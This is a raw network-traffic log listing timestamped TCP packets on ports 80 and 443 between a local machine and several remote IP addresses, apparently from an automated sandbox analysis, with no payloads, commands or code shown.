Nov 20, 2024 04:08:16.747924089 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.747948885 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.747960091 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.747982025 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.747989893 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.747997046 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.747997046 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.748003006 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.748012066 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.748040915 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.748065948 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.752882004 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.752914906 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.752931118 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.752957106 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.753119946 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.753168106 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.774606943 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.774702072 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.774885893 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.774885893 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.774969101 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.775007010 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.778067112 CET	62482	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.778136015 CET	443	62482	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.778212070 CET	62482	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.778372049 CET	62482	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.778407097 CET	443	62482	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.778987885 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779256105 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779309034 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.779354095 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779406071 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779458046 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.779491901 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779520988 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.779521942 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.779530048 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779537916 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.779848099 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.780004025 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.780069113 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.780354977 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.780354977 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.780380011 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.780400991 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.781907082 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.781972885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.781980038 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.782006979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782042027 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.782092094 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782149076 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782160044 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.782160997 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.782203913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782227993 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.782257080 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.782274961 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782310963 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782341003 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782361984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.782381058 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782417059 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782429934 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.782453060 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.782500982 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.782802105 CET	62483	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.782825947 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.782825947 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.782834053 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.782844067 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.782891989 CET	443	62483	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.782967091 CET	62483	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.783046007 CET	62483	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.783071995 CET	443	62483	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.783349037 CET	62484	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.783365011 CET	443	62484	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.783423901 CET	62484	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.783488989 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783519983 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783570051 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.783572912 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783607960 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783627033 CET	62484	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.783643961 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783653975 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.783655882 CET	443	62484	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.783679008 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783730984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.783751965 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783806086 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.783854008 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.785204887 CET	62485	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.785255909 CET	443	62485	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.785274029 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.785329103 CET	62485	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.785343885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.785377979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.785393000 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.785413980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.785446882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.785458088 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.785496950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.785541058 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.785665989 CET	62485	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.785696030 CET	443	62485	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.787017107 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.787082911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.787112951 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.787133932 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.787147999 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.787185907 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.787199020 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.787220955 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.787276030 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.789036036 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.789067030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.789102077 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.789128065 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.789150953 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.789186001 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.789202929 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.789221048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.789273024 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.790684938 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.790719032 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.790755987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.790771008 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.790791988 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.790857077 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.790858984 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.790889978 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.790958881 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.792519093 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.792584896 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.792633057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.792640924 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.792670012 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.792704105 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.792720079 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.792757034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.792804003 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.794204950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.794308901 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.794339895 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.794368982 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.794374943 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.794413090 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.794429064 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.794447899 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.794503927 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.795161009 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795217037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795262098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795269012 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.795334101 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795367956 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795384884 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.795403957 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795480967 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.795522928 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795578003 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795610905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795635939 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.795728922 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795763016 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795790911 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.795799017 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.795854092 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.797389984 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.797420025 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.797492027 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.797513008 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.797549009 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.797584057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.797599077 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.797620058 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.797667980 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.799397945 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799433947 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799489021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799494028 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.799524069 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799557924 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799571037 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.799588919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799638987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.799638987 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.801213980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.801274061 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.801278114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.801287889 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.801345110 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.801347017 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.801379919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.801413059 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.801426888 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.803270102 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803307056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803347111 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.803376913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803411007 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803430080 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.803452969 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803488970 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803507090 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.803523064 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.803574085 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.805022955 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.805075884 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.805111885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.805131912 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.805146933 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.805185080 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.805200100 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.828977108 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.829030991 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.829044104 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.829071045 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.829123974 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.838275909 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.838646889 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.838676929 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.839077950 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.839086056 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.870883942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.870981932 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871021032 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871035099 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871056080 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871092081 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871108055 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871146917 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871182919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871215105 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871217012 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871253014 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871259928 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871309042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871365070 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871376038 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871408939 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871458054 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871459961 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871496916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871526957 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871542931 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.871565104 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.871612072 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.877866983 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.877922058 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.877959967 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.877964973 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.877988100 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.877996922 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878009081 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.878035069 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878045082 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.878071070 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878082037 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.878109932 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878115892 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.878146887 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878159046 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.878201962 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.878823996 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878879070 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878921986 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.878953934 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879010916 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879024029 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879067898 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879081964 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879106998 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879117966 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879143953 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879153013 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879192114 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879383087 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879420042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879456043 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879473925 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.879511118 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879547119 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879568100 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.879601002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879652977 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.879654884 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879688025 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879723072 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879738092 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.879759073 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879791975 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.879812956 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.879827023 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879862070 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879872084 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879901886 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879905939 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879937887 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879945040 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.879973888 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.879981041 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.880012989 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.880027056 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.880062103 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.880587101 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.880642891 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.880645037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.880680084 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.880713940 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.880733967 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.880769968 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.880790949 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.880805016 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.880840063 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.880860090 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.882333040 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.882437944 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.882447004 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.882468939 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.882503986 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.882522106 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.882540941 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.882575989 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.882613897 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.883038044 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.883102894 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.883111000 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.883155107 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.884165049 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884195089 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884241104 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.884249926 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884284973 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884305000 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.884336948 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884371996 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884390116 CET	62475	80	192.168.2.4	34.116.198.130
